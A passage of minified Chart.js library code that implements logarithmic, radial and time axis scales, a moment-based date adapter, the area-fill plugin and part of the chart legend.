g=[(e=l.getDatasetMeta(t)).type,void 0===s.stacked&&void 0===e.stack?t:"",e.stack].join(".");if(l.isDatasetVisible(t)&&h(e))for(void 0===f[g]&&(f[g]=[]),a=0,r=(i=u[t].data).length;a<r;a++){var p=f[g];n=o._parseValue(i[a]),isNaN(n.min)||isNaN(n.max)||e.data[a].hidden||n.min<0||n.max<0||(p[a]=p[a]||0,p[a]+=n.max)}}H.each(f,(function(t){if(t.length>0){var e=H.min(t),n=H.max(t);o.min=Math.min(o.min,e),o.max=Math.max(o.max,n)}}))}else for(t=0;t<u.length;t++)if(e=l.getDatasetMeta(t),l.isDatasetVisible(t)&&h(e))for(a=0,r=(i=u[t].data).length;a<r;a++)n=o._parseValue(i[a]),isNaN(n.min)||isNaN(n.max)||e.data[a].hidden||n.min<0||n.max<0||(o.min=Math.min(n.min,o.min),o.max=Math.max(n.max,o.max),0!==n.min&&(o.minNotZero=Math.min(n.min,o.minNotZero)));o.min=H.isFinite(o.min)?o.min:null,o.max=H.isFinite(o.max)?o.max:null,o.minNotZero=H.isFinite(o.minNotZero)?o.minNotZero:null,this.handleTickRangeOptions()},handleTickRangeOptions:function(){var t=this,e=t.options.ticks;t.min=Cn(e.min,t.min),t.max=Cn(e.max,t.max),t.min===t.max&&(0!==t.min&&null!==t.min?(t.min=Math.pow(10,Math.floor(Mn(t.min))-1),t.max=Math.pow(10,Math.floor(Mn(t.max))+1)):(t.min=1,t.max=10)),null===t.min&&(t.min=Math.pow(10,Math.floor(Mn(t.max))-1)),null===t.max&&(t.max=0!==t.min?Math.pow(10,Math.floor(Mn(t.min))+1):10),null===t.minNotZero&&(t.min>0?t.minNotZero=t.min:t.max<1?t.minNotZero=Math.pow(10,Math.floor(Mn(t.max))):t.minNotZero=1)},buildTicks:function(){var t=this,e=t.options.ticks,n=!t.isHorizontal(),i={min:Cn(e.min),max:Cn(e.max)},a=t.ticks=function(t,e){var n,i,a=[],r=wn(t.min,Math.pow(10,Math.floor(Mn(e.min)))),o=Math.floor(Mn(e.max)),s=Math.ceil(e.max/Math.pow(10,o));0===r?(n=Math.floor(Mn(e.minNotZero)),i=Math.floor(e.minNotZero/Math.pow(10,n)),a.push(r),r=i*Math.pow(10,n)):(n=Math.floor(Mn(r)),i=Math.floor(r/Math.pow(10,n)));var l=n<0?Math.pow(10,Math.abs(n)):1;do{a.push(r),10==++i&&(i=1,l=++n>=0?1:l),r=Math.round(i*Math.pow(10,n)*l)/l}while(n<o||n===o&&i<s);var u=wn(t.max,r);return a.push(u),a}(i,t);t.max=H.max(a),t.min=H.min(a),e.reverse?(n=!n,t.start=t.max,t.end=t.min):(t.start=t.min,t.end=t.max),n&&a.reverse()},convertTicksToLabels:function(){this.tickValues=this.ticks.slice(),cn.prototype.convertTicksToLabels.call(this)},getLabelForIndex:function(t,e){return this._getScaleLabel(this.chart.data.datasets[e].data[t])},getPixelForTick:function(t){var e=this.tickValues;return t<0||t>e.length-1?null:this.getPixelForValue(e[t])},_getFirstTickValue:function(t){var e=Math.floor(Mn(t));return Math.floor(t/Math.pow(10,e))*Math.pow(10,e)},_configure:function(){var t=this,e=t.min,n=0;cn.prototype._configure.call(t),0===e&&(e=t._getFirstTickValue(t.minNotZero),n=wn(t.options.ticks.fontSize,N.global.defaultFontSize)/t._length),t._startValue=Mn(e),t._valueOffset=n,t._valueRange=(Mn(t.max)-Mn(e))/(1-n)},getPixelForValue:function(t){var e=this,n=0;return(t=+e.getRightValue(t))>e.min&&t>0&&(n=(Mn(t)-e._startValue)/e._valueRange+e._valueOffset),e.getPixelForDecimal(n)},getValueForPixel:function(t){var e=this,n=e.getDecimalForPixel(t);return 0===n&&0===e.min?0:Math.pow(10,e._startValue+(n-e._valueOffset)*e._valueRange)}}),An=Sn;Pn._defaults=An;var Dn=H.valueOrDefault,Tn=H.valueAtIndexOrDefault,In=H.options.resolve,Fn={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:"rgba(255,255,255,0.75)",backdropPaddingY:2,backdropPaddingX:2,callback:Je.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(t){return t}}};function On(t){var e=t.ticks;return e.display&&t.display?Dn(e.fontSize,N.global.defaultFontSize)+2*e.backdropPaddingY:0}function Ln(t,e,n,i,a){return t===i||t===a?{start:e-n/2,end:e+n/2}:t<i||t>a?{start:e-n,end:e}:{start:e,end:e+n}}function Rn(t){return 0===t||180===t?"center":t<180?"left":"right"}function zn(t,e,n,i){var a,r,o=n.y+i/2;if(H.isArray(e))for(a=0,r=e.length;a<r;++a)t.fillText(e[a],n.x,o),o+=i;else t.fillText(e,n.x,o)}function Nn(t,e,n){90===t||270===t?n.y-=e.h/2:(t>270||t<90)&&(n.y-=e.h)}function Bn(t){return H.isNumber(t)?t:0}var En=vn.extend({setDimensions:function(){var t=this;t.width=t.maxWidth,t.height=t.maxHeight,t.paddingTop=On(t.options)/2,t.xCenter=Math.floor(t.width/2),t.yCenter=Math.floor((t.height-t.paddingTop)/2),t.drawingArea=Math.min(t.height-t.paddingTop,t.width)/2},determineDataLimits:function(){var t=this,e=t.chart,n=Number.POSITIVE_INFINITY,i=Number.NEGATIVE_INFINITY;H.each(e.data.datasets,(function(a,r){if(e.isDatasetVisible(r)){var o=e.getDatasetMeta(r);H.each(a.data,(function(e,a){var r=+t.getRightValue(e);isNaN(r)||o.data[a].hidden||(n=Math.min(r,n),i=Math.max(r,i))}))}})),t.min=n===Number.POSITIVE_INFINITY?0:n,t.max=i===Number.NEGATIVE_INFINITY?0:i,t.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/On(this.options))},convertTicksToLabels:function(){var t=this;vn.prototype.convertTicksToLabels.call(t),t.pointLabels=t.chart.data.labels.map((function(){var e=H.callback(t.options.pointLabels.callback,arguments,t);return e||0===e?e:""}))},getLabelForIndex:function(t,e){return+this.getRightValue(this.chart.data.datasets[e].data[t])},fit:function(){var t=this.options;t.display&&t.pointLabels.display?function(t){var e,n,i,a=H.options._parseFont(t.options.pointLabels),r={l:0,r:t.width,t:0,b:t.height-t.paddingTop},o={};t.ctx.font=a.string,t._pointLabelSizes=[];var s,l,u,d=t.chart.data.labels.length;for(e=0;e<d;e++){i=t.getPointPosition(e,t.drawingArea+5),s=t.ctx,l=a.lineHeight,u=t.pointLabels[e],n=H.isArray(u)?{w:H.longestText(s,s.font,u),h:u.length*l}:{w:s.measureText(u).width,h:l},t._pointLabelSizes[e]=n;var h=t.getIndexAngle(e),c=H.toDegrees(h)%360,f=Ln(c,i.x,n.w,0,180),g=Ln(c,i.y,n.h,90,270);f.start<r.l&&(r.l=f.start,o.l=h),f.end>r.r&&(r.r=f.end,o.r=h),g.start<r.t&&(r.t=g.start,o.t=h),g.end>r.b&&(r.b=g.end,o.b=h)}t.setReductions(t.drawingArea,r,o)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(t,e,n){var i=this,a=e.l/Math.sin(n.l),r=Math.max(e.r-i.width,0)/Math.sin(n.r),o=-e.t/Math.cos(n.t),s=-Math.max(e.b-(i.height-i.paddingTop),0)/Math.cos(n.b);a=Bn(a),r=Bn(r),o=Bn(o),s=Bn(s),i.drawingArea=Math.min(Math.floor(t-(a+r)/2),Math.floor(t-(o+s)/2)),i.setCenterPoint(a,r,o,s)},setCenterPoint:function(t,e,n,i){var a=this,r=a.width-e-a.drawingArea,o=t+a.drawingArea,s=n+a.drawingArea,l=a.height-a.paddingTop-i-a.drawingArea;a.xCenter=Math.floor((o+r)/2+a.left),a.yCenter=Math.floor((s+l)/2+a.top+a.paddingTop)},getIndexAngle:function(t){var e=this.chart,n=(t*(360/e.data.labels.length)+((e.options||{}).startAngle||0))%360;return(n<0?n+360:n)*Math.PI*2/360},getDistanceFromCenterForValue:function(t){var e=this;if(H.isNullOrUndef(t))return NaN;var n=e.drawingArea/(e.max-e.min);return e.options.ticks.reverse?(e.max-t)*n:(t-e.min)*n},getPointPosition:function(t,e){var n=this.getIndexAngle(t)-Math.PI/2;return{x:Math.cos(n)*e+this.xCenter,y:Math.sin(n)*e+this.yCenter}},getPointPositionForValue:function(t,e){return this.getPointPosition(t,this.getDistanceFromCenterForValue(e))},getBasePosition:function(t){var e=this.min,n=this.max;return this.getPointPositionForValue(t||0,this.beginAtZero?0:e<0&&n<0?n:e>0&&n>0?e:0)},_drawGrid:function(){var t,e,n,i=this,a=i.ctx,r=i.options,o=r.gridLines,s=r.angleLines,l=Dn(s.lineWidth,o.lineWidth),u=Dn(s.color,o.color);if(r.pointLabels.display&&function(t){var e=t.ctx,n=t.options,i=n.pointLabels,a=On(n),r=t.getDistanceFromCenterForValue(n.ticks.reverse?t.min:t.max),o=H.options._parseFont(i);e.save(),e.font=o.string,e.textBaseline="middle";for(var s=t.chart.data.labels.length-1;s>=0;s--){var l=0===s?a/2:0,u=t.getPointPosition(s,r+l+5),d=Tn(i.fontColor,s,N.global.defaultFontColor);e.fillStyle=d;var h=t.getIndexAngle(s),c=H.toDegrees(h);e.textAlign=Rn(c),Nn(c,t._pointLabelSizes[s],u),zn(e,t.pointLabels[s],u,o.lineHeight)}e.restore()}(i),o.display&&H.each(i.ticks,(function(t,n){0!==n&&(e=i.getDistanceFromCenterForValue(i.ticksAsNumbers[n]),function(t,e,n,i){var a,r=t.ctx,o=e.circular,s=t.chart.data.labels.length,l=Tn(e.color,i-1),u=Tn(e.lineWidth,i-1);if((o||s)&&l&&u){if(r.save(),r.strokeStyle=l,r.lineWidth=u,r.setLineDash&&(r.setLineDash(e.borderDash||[]),r.lineDashOffset=e.borderDashOffset||0),r.beginPath(),o)r.arc(t.xCenter,t.yCenter,n,0,2*Math.PI);else{a=t.getPointPosition(0,n),r.moveTo(a.x,a.y);for(var d=1;d<s;d++)a=t.getPointPosition(d,n),r.lineTo(a.x,a.y)}r.closePath(),r.stroke(),r.restore()}}(i,o,e,n))})),s.display&&l&&u){for(a.save(),a.lineWidth=l,a.strokeStyle=u,a.setLineDash&&(a.setLineDash(In([s.borderDash,o.borderDash,[]])),a.lineDashOffset=In([s.borderDashOffset,o.borderDashOffset,0])),t=i.chart.data.labels.length-1;t>=0;t--)e=i.getDistanceFromCenterForValue(r.ticks.reverse?i.min:i.max),n=i.getPointPosition(t,e),a.beginPath(),a.moveTo(i.xCenter,i.yCenter),a.lineTo(n.x,n.y),a.stroke();a.restore()}},_drawLabels:function(){var t=this,e=t.ctx,n=t.options.ticks;if(n.display){var i,a,r=t.getIndexAngle(0),o=H.options._parseFont(n),s=Dn(n.fontColor,N.global.defaultFontColor);e.save(),e.font=o.string,e.translate(t.xCenter,t.yCenter),e.rotate(r),e.textAlign="center",e.textBaseline="middle",H.each(t.ticks,(function(r,l){(0!==l||n.reverse)&&(i=t.getDistanceFromCenterForValue(t.ticksAsNumbers[l]),n.showLabelBackdrop&&(a=e.measureText(r).width,e.fillStyle=n.backdropColor,e.fillRect(-a/2-n.backdropPaddingX,-i-o.size/2-n.backdropPaddingY,a+2*n.backdropPaddingX,o.size+2*n.backdropPaddingY)),e.fillStyle=s,e.fillText(r,0,-i))})),e.restore()}},_drawTitle:H.noop}),Wn=Fn;En._defaults=Wn;var Vn=H._deprecated,Hn=H.options.resolve,jn=H.valueOrDefault,qn=Number.MIN_SAFE_INTEGER||-9007199254740991,Un=Number.MAX_SAFE_INTEGER||9007199254740991,Yn={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},Gn=Object.keys(Yn);function Xn(t,e){return t-e}function Kn(t){return H.valueOrDefault(t.time.min,t.ticks.min)}function Zn(t){return H.valueOrDefault(t.time.max,t.ticks.max)}function $n(t,e,n,i){var a=function(t,e,n){for(var i,a,r,o=0,s=t.length-1;o>=0&&o<=s;){if(a=t[(i=o+s>>1)-1]||null,r=t[i],!a)return{lo:null,hi:r};if(r[e]<n)o=i+1;else{if(!(a[e]>n))return{lo:a,hi:r};s=i-1}}return{lo:r,hi:null}}(t,e,n),r=a.lo?a.hi?a.lo:t[t.length-2]:t[0],o=a.lo?a.hi?a.hi:t[t.length-1]:t[1],s=o[e]-r[e],l=s?(n-r[e])/s:0,u=(o[i]-r[i])*l;return r[i]+u}function Jn(t,e){var n=t._adapter,i=t.options.time,a=i.parser,r=a||i.format,o=e;return"function"==typeof a&&(o=a(o)),H.isFinite(o)||(o="string"==typeof r?n.parse(o,r):n.parse(o)),null!==o?+o:(a||"function"!=typeof r||(o=r(e),H.isFinite(o)||(o=n.parse(o))),o)}function Qn(t,e){if(H.isNullOrUndef(e))return null;var n=t.options.time,i=Jn(t,t.getRightValue(e));return null===i||n.round&&(i=+t._adapter.startOf(i,n.round)),i}function ti(t,e,n,i){var a,r,o,s=Gn.length;for(a=Gn.indexOf(t);a<s-1;++a)if(o=(r=Yn[Gn[a]]).steps?r.steps:Un,r.common&&Math.ceil((n-e)/(o*r.size))<=i)return Gn[a];return Gn[s-1]}function ei(t,e,n){var i,a,r=[],o={},s=e.length;for(i=0;i<s;++i)o[a=e[i]]=i,r.push({value:a,major:!1});return 0!==s&&n?function(t,e,n,i){var a,r,o=t._adapter,s=+o.startOf(e[0].value,i),l=e[e.length-1].value;for(a=s;a<=l;a=+o.add(a,1,i))(r=n[a])>=0&&(e[r].major=!0);return e}(t,r,o,n):r}var ni=cn.extend({initialize:function(){this.mergeTicksOptions(),cn.prototype.initialize.call(this)},update:function(){var t=this,e=t.options,n=e.time||(e.time={}),i=t._adapter=new $e._date(e.adapters.date);return Vn("time scale",n.format,"time.format","time.parser"),Vn("time scale",n.min,"time.min","ticks.min"),Vn("time scale",n.max,"time.max","ticks.max"),H.mergeIf(n.displayFormats,i.formats()),cn.prototype.update.apply(t,arguments)},getRightValue:function(t){return t&&void 0!==t.t&&(t=t.t),cn.prototype.getRightValue.call(this,t)},determineDataLimits:function(){var t,e,n,i,a,r,o,s=this,l=s.chart,u=s._adapter,d=s.options,h=d.time.unit||"day",c=Un,f=qn,g=[],p=[],m=[],v=s._getLabels();for(t=0,n=v.length;t<n;++t)m.push(Qn(s,v[t]));for(t=0,n=(l.data.datasets||[]).length;t<n;++t)if(l.isDatasetVisible(t))if(a=l.data.datasets[t].data,H.isObject(a[0]))for(p[t]=[],e=0,i=a.length;e<i;++e)r=Qn(s,a[e]),g.push(r),p[t][e]=r;else p[t]=m.slice(0),o||(g=g.concat(m),o=!0);else p[t]=[];m.length&&(c=Math.min(c,m[0]),f=Math.max(f,m[m.length-1])),g.length&&(g=n>1?function(t){var e,n,i,a={},r=[];for(e=0,n=t.length;e<n;++e)a[i=t[e]]||(a[i]=!0,r.push(i));return r}(g).sort(Xn):g.sort(Xn),c=Math.min(c,g[0]),f=Math.max(f,g[g.length-1])),c=Qn(s,Kn(d))||c,f=Qn(s,Zn(d))||f,c=c===Un?+u.startOf(Date.now(),h):c,f=f===qn?+u.endOf(Date.now(),h)+1:f,s.min=Math.min(c,f),s.max=Math.max(c+1,f),s._table=[],s._timestamps={data:g,datasets:p,labels:m}},buildTicks:function(){var t,e,n,i=this,a=i.min,r=i.max,o=i.options,s=o.ticks,l=o.time,u=i._timestamps,d=[],h=i.getLabelCapacity(a),c=s.source,f=o.distribution;for(u="data"===c||"auto"===c&&"series"===f?u.data:"labels"===c?u.labels:function(t,e,n,i){var a,r=t._adapter,o=t.options,s=o.time,l=s.unit||ti(s.minUnit,e,n,i),u=Hn([s.stepSize,s.unitStepSize,1]),d="week"===l&&s.isoWeekday,h=e,c=[];if(d&&(h=+r.startOf(h,"isoWeek",d)),h=+r.startOf(h,d?"day":l),r.diff(n,e,l)>1e5*u)throw e+" and "+n+" are too far apart with stepSize of "+u+" "+l;for(a=h;a<n;a=+r.add(a,u,l))c.push(a);return a!==n&&"ticks"!==o.bounds||c.push(a),c}(i,a,r,h),"ticks"===o.bounds&&u.length&&(a=u[0],r=u[u.length-1]),a=Qn(i,Kn(o))||a,r=Qn(i,Zn(o))||r,t=0,e=u.length;t<e;++t)(n=u[t])>=a&&n<=r&&d.push(n);return i.min=a,i.max=r,i._unit=l.unit||(s.autoSkip?ti(l.minUnit,i.min,i.max,h):function(t,e,n,i,a){var r,o;for(r=Gn.length-1;r>=Gn.indexOf(n);r--)if(o=Gn[r],Yn[o].common&&t._adapter.diff(a,i,o)>=e-1)return o;return Gn[n?Gn.indexOf(n):0]}(i,d.length,l.minUnit,i.min,i.max)),i._majorUnit=s.major.enabled&&"year"!==i._unit?function(t){for(var e=Gn.indexOf(t)+1,n=Gn.length;e<n;++e)if(Yn[Gn[e]].common)return Gn[e]}(i._unit):void 0,i._table=function(t,e,n,i){if("linear"===i||!t.length)return[{time:e,pos:0},{time:n,pos:1}];var a,r,o,s,l,u=[],d=[e];for(a=0,r=t.length;a<r;++a)(s=t[a])>e&&s<n&&d.push(s);for(d.push(n),a=0,r=d.length;a<r;++a)l=d[a+1],o=d[a-1],s=d[a],void 0!==o&&void 0!==l&&Math.round((l+o)/2)===s||u.push({time:s,pos:a/(r-1)});return u}(i._timestamps.data,a,r,f),i._offsets=function(t,e,n,i,a){var r,o,s=0,l=0;return a.offset&&e.length&&(r=$n(t,"time",e[0],"pos"),s=1===e.length?1-r:($n(t,"time",e[1],"pos")-r)/2,o=$n(t,"time",e[e.length-1],"pos"),l=1===e.length?o:(o-$n(t,"time",e[e.length-2],"pos"))/2),{start:s,end:l,factor:1/(s+1+l)}}(i._table,d,0,0,o),s.reverse&&d.reverse(),ei(i,d,i._majorUnit)},getLabelForIndex:function(t,e){var n=this,i=n._adapter,a=n.chart.data,r=n.options.time,o=a.labels&&t<a.labels.length?a.labels[t]:"",s=a.datasets[e].data[t];return H.isObject(s)&&(o=n.getRightValue(s)),r.tooltipFormat?i.format(Jn(n,o),r.tooltipFormat):"string"==typeof o?o:i.format(Jn(n,o),r.displayFormats.datetime)},tickFormatFunction:function(t,e,n,i){var a=this._adapter,r=this.options,o=r.time.displayFormats,s=o[this._unit],l=this._majorUnit,u=o[l],d=n[e],h=r.ticks,c=l&&u&&d&&d.major,f=a.format(t,i||(c?u:s)),g=c?h.major:h.minor,p=Hn([g.callback,g.userCallback,h.callback,h.userCallback]);return p?p(f,e,n):f},convertTicksToLabels:function(t){var e,n,i=[];for(e=0,n=t.length;e<n;++e)i.push(this.tickFormatFunction(t[e].value,e,t));return i},getPixelForOffset:function(t){var e=this._offsets,n=$n(this._table,"time",t,"pos");return this.getPixelForDecimal((e.start+n)*e.factor)},getPixelForValue:function(t,e,n){var i=null;if(void 0!==e&&void 0!==n&&(i=this._timestamps.datasets[n][e]),null===i&&(i=Qn(this,t)),null!==i)return this.getPixelForOffset(i)},getPixelForTick:function(t){var e=this.getTicks();return t>=0&&t<e.length?this.getPixelForOffset(e[t].value):null},getValueForPixel:function(t){var e=this._offsets,n=this.getDecimalForPixel(t)/e.factor-e.end,i=$n(this._table,"pos",n,"time");return this._adapter._create(i)},_getLabelSize:function(t){var e=this.options.ticks,n=this.ctx.measureText(t).width,i=H.toRadians(this.isHorizontal()?e.maxRotation:e.minRotation),a=Math.cos(i),r=Math.sin(i),o=jn(e.fontSize,N.global.defaultFontSize);return{w:n*a+o*r,h:n*r+o*a}},getLabelWidth:function(t){return this._getLabelSize(t).w},getLabelCapacity:function(t){var e=this,n=e.options.time,i=n.displayFormats,a=i[n.unit]||i.millisecond,r=e.tickFormatFunction(t,0,ei(e,[t],e._majorUnit),a),o=e._getLabelSize(r),s=Math.floor(e.isHorizontal()?e.width/o.w:e.height/o.h);return e.options.offset&&s--,s>0?s:1}});ni._defaults={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};var ii={category:gn,linear:_n,logarithmic:Pn,radialLinear:En,time:ni},ai={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};$e._date.override("function"==typeof t?{_id:"moment",formats:function(){return ai},parse:function(e,n){return"string"==typeof e&&"string"==typeof n?e=t(e,n):e instanceof t||(e=t(e)),e.isValid()?e.valueOf():null},format:function(e,n){return t(e).format(n)},add:function(e,n,i){return t(e).add(n,i).valueOf()},diff:function(e,n,i){return t(e).diff(t(n),i)},startOf:function(e,n,i){return e=t(e),"isoWeek"===n?e.isoWeekday(i).valueOf():e.startOf(n).valueOf()},endOf:function(e,n){return t(e).endOf(n).valueOf()},_create:function(e){return t(e)}}:{}),N._set("global",{plugins:{filler:{propagate:!0}}});var ri={dataset:function(t){var e=t.fill,n=t.chart,i=n.getDatasetMeta(e),a=i&&n.isDatasetVisible(e)&&i.dataset._children||[],r=a.length||0;return r?function(t,e){return e<r&&a[e]._view||null}:null},boundary:function(t){var e=t.boundary,n=e?e.x:null,i=e?e.y:null;return H.isArray(e)?function(t,n){return e[n]}:function(t){return{x:null===n?t.x:n,y:null===i?t.y:i}}}};function oi(t,e,n){var i,a=t._model||{},r=a.fill;if(void 0===r&&(r=!!a.backgroundColor),!1===r||null===r)return!1;if(!0===r)return"origin";if(i=parseFloat(r,10),isFinite(i)&&Math.floor(i)===i)return"-"!==r[0]&&"+"!==r[0]||(i=e+i),!(i===e||i<0||i>=n)&&i;switch(r){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return r;default:return!1}}function si(t){return(t.el._scale||{}).getPointPositionForValue?function(t){var e,n,i,a,r,o=t.el._scale,s=o.options,l=o.chart.data.labels.length,u=t.fill,d=[];if(!l)return null;for(e=s.ticks.reverse?o.max:o.min,n=s.ticks.reverse?o.min:o.max,i=o.getPointPositionForValue(0,e),a=0;a<l;++a)r="start"===u||"end"===u?o.getPointPositionForValue(a,"start"===u?e:n):o.getBasePosition(a),s.gridLines.circular&&(r.cx=i.x,r.cy=i.y,r.angle=o.getIndexAngle(a)-Math.PI/2),d.push(r);return d}(t):function(t){var e,n=t.el._model||{},i=t.el._scale||{},a=t.fill,r=null;if(isFinite(a))return null;if("start"===a?r=void 0===n.scaleBottom?i.bottom:n.scaleBottom:"end"===a?r=void 0===n.scaleTop?i.top:n.scaleTop:void 0!==n.scaleZero?r=n.scaleZero:i.getBasePixel&&(r=i.getBasePixel()),null!=r){if(void 0!==r.x&&void 0!==r.y)return r;if(H.isFinite(r))return{x:(e=i.isHorizontal())?r:null,y:e?null:r}}return null}(t)}function li(t,e,n){var i,a=t[e].fill,r=[e];if(!n)return a;for(;!1!==a&&-1===r.indexOf(a);){if(!isFinite(a))return a;if(!(i=t[a]))return!1;if(i.visible)return a;r.push(a),a=i.fill}return!1}function ui(t){var e=t.fill,n="dataset";return!1===e?null:(isFinite(e)||(n="boundary"),ri[n](t))}function di(t){return t&&!t.skip}function hi(t,e,n,i,a){var r,o,s,l;if(i&&a){for(t.moveTo(e[0].x,e[0].y),r=1;r<i;++r)H.canvas.lineTo(t,e[r-1],e[r]);if(void 0===n[0].angle)for(t.lineTo(n[a-1].x,n[a-1].y),r=a-1;r>0;--r)H.canvas.lineTo(t,n[r],n[r-1],!0);else for(o=n[0].cx,s=n[0].cy,l=Math.sqrt(Math.pow(n[0].x-o,2)+Math.pow(n[0].y-s,2)),r=a-1;r>0;--r)t.arc(o,s,l,n[r].angle,n[r-1].angle,!0)}}function ci(t,e,n,i,a,r){var o,s,l,u,d,h,c,f,g=e.length,p=i.spanGaps,m=[],v=[],b=0,x=0;for(t.beginPath(),o=0,s=g;o<s;++o)d=n(u=e[l=o%g]._view,l,i),h=di(u),c=di(d),r&&void 0===f&&h&&(s=g+(f=o+1)),h&&c?(b=m.push(u),x=v.push(d)):b&&x&&(p?(h&&m.push(u),c&&v.push(d)):(hi(t,m,v,b,x),b=x=0,m=[],v=[]));hi(t,m,v,b,x),t.closePath(),t.fillStyle=a,t.fill()}var fi={id:"filler",afterDatasetsUpdate:function(t,e){var n,i,a,r,o=(t.data.datasets||[]).length,s=e.propagate,l=[];for(i=0;i<o;++i)r=null,(a=(n=t.getDatasetMeta(i)).dataset)&&a._model&&a instanceof xt.Line&&(r={visible:t.isDatasetVisible(i),fill:oi(a,i,o),chart:t,el:a}),n.$filler=r,l.push(r);for(i=0;i<o;++i)(r=l[i])&&(r.fill=li(l,i,s),r.boundary=si(r),r.mapper=ui(r))},beforeDatasetsDraw:function(t){var e,n,i,a,r,o,s,l=t._getSortedVisibleDatasetMetas(),u=t.ctx;for(n=l.length-1;n>=0;--n)(e=l[n].$filler)&&e.visible&&(a=(i=e.el)._view,r=i._children||[],o=e.mapper,s=a.backgroundColor||N.global.defaultColor,o&&s&&r.length&&(H.canvas.clipArea(u,t.chartArea),ci(u,r,o,a,s,i._loop),H.canvas.unclipArea(u)))}},gi=H.rtl.getRtlAdapter,pi=H.noop,mi=H.valueOrDefault;function vi(t,e){return t.usePointStyle&&t.boxWidth>e?e:t.boxWidth}N._set("global",{legend:{display:!0,position:"top",align:"center",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(t,e){var n=e.datasetIndex,i=this.chart,a=i.getDatasetMeta(n);a.hidden=null===a.hidden?!i.data.datasets[n].hidden:null,i.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(t){var e=t.data.datasets,n=t.options.legend||{},i=n.labels&&n.labels.usePointStyle;return t._getSortedDatasetMetas().map((function(n){var a=n.controller.getStyle(i?0:void 0);return{text:e[n.index].label,fillStyle:a.backgroundColor,hidden:!t.isDatasetVisible(n.index),lineCap:a.borderCapStyle,lineDash:a.borderDash,lineDashOffset:a.borderDashOffset,lineJoin:a.borderJoinStyle,lineWidth:a.borderWidth,strokeStyle:a.borderColor,pointStyle:a.pointStyle,rotation:a.rotation,datasetIndex:n.index}}),this)}}},legendCallback:function(t){var e,n,i,a=document.createElement("ul"),r=t.data.datasets;for(a.setAttribute("class",t.id+"-legend"),e=0,n=r.length;e<n;e++)(i=a.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=r[e].backgroundColor,r[e].label&&i.appendChild(document.createTextNode(r[e].label));return a.outerHTML}});var bi=X.extend({initialize:function(t){H.extend(this,t),this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1},beforeUpdate:pi,update:function(t,e,n){var i=this;return i.beforeUpdate(),i.maxWidth=t,i.maxHeight=e,i.margins=n,i.beforeSetDimensions(),i.setDimensions(),i.afterSetDimensions(),i.beforeBuildLabels(),i.buildLabels(),i.afterBuildLabels(),i.beforeFit(),i.fit(),i.afterFit(),i.afterUpdate(),i.minSize},afterUpdate:pi,beforeSetDimensions:pi,setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0,t.minSize={width:0,height:0}},afterSetDimensions:pi,beforeBuildLabels:pi,buildLabels:function(){var t=this,e=t.options.labels||{},n=H.callback(e.generateLabels,[t.chart],t)||[];e.filter&&(n=n.filter((function(n){return e.filter(n,t.chart.data)}))),t.options.reverse&&n.reverse(),t.legendItems=n},afterBuildLabels:pi,beforeFit:pi,fit:function(){var t=this,e=t.options,n=e.labels,i=e.display,a=t.ctx,r=H.options._parseFont(n),o=r.size,s=t.legendHitBoxes=[],l=t.minSize,u=t.isHorizontal();if(u?(l.width=t.maxWidth,l.height=i?10:0):(l.width=i?10:0,l.height=t.maxHeight),i){if(a.font=r.string,u){var d=t.lineWidths=[0],h=0;a.textAlign="left",a.textBaseline="middle",H.each(t.legendItems,(function(t,e){var i=vi(n,o)+o/2+a.measureText(t.text).width;(0===e||d[d.length-1]+i+2*n.padding>l.width)&&(h+=o+n.padding,d[d.length-(e>0?0:1)]=0),s[e]={left:0,top:0,width:i,height:o},d[d.length-1]+=i+n.padding})),l.height+=h}else{var c=n.padding,f=t.columnWidths=[],g=t.columnHeights=[],p=n.padding,m=0,v=0;H.each(t.legendItems,(function(t,e){var i=vi(n,o)+o/2+a.measureText(t.text).width;e>0&&v+o+2*c>l.height&&(p+=m+n.padding,f.push(m),g.push(v),m=0,v=0),m=Math.max(m,i),v+=o+c,s[e]={left:0,top:0,width:i,height:o}})),p+=m,f.push(m),g.push(v),l.width+=p}t.width=l.width,t.height=l.height}else t.width=l.width=t.height=l.height=0},afterFit:pi,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var t=this,e=t.options,n=e.labels,i=N.global,a=i.defaultColor,r=i.elements.line,o=t.height,s=t.columnHeights,l=t.width,u=t.lineWidths;if(e.display){var d,h=gi(e.rtl,t.left,t.minSize.width),c=t.ctx,f=mi(n.fontColor,i.defaultFontColor),g=H.options._parseFont(n),p=g.size;c.textAlign=h.textAlign("left"),c.textBaseline="middle",c.lineWidth=.5,c.strokeStyle=f,c.fillStyle=f,c.font=g.string;var m=vi(n,p),v=t.legendHitBoxes,b=function(t,i){switch(e.align){case"start":return n.padding;case"end":return 